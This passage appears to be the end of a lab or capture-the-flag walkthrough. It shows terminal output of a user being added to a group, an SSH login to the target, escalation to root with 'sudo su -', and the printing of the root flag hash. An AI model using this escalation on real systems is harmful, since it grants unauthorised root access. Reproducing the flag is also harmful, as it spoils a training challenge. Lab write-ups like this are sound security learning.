  Users: admin, ash_winter
-------------------------
Number of members added 1
-------------------------
$ sudo /usr/bin/systemctl restart sssd

                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~/Downloads/tools]
└─$ ssh ash_winter@10.129.1.36
(ash_winter@10.129.1.36) Password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Jan 8 09:00:22 2026 from 10.10.14.27
$ sudo su -
[sudo] password for ash_winter: 
root@main:~# cd /root
root@main:~# cat root.txt
214eb5e78478bffe9219411a802022b2
root@main:~#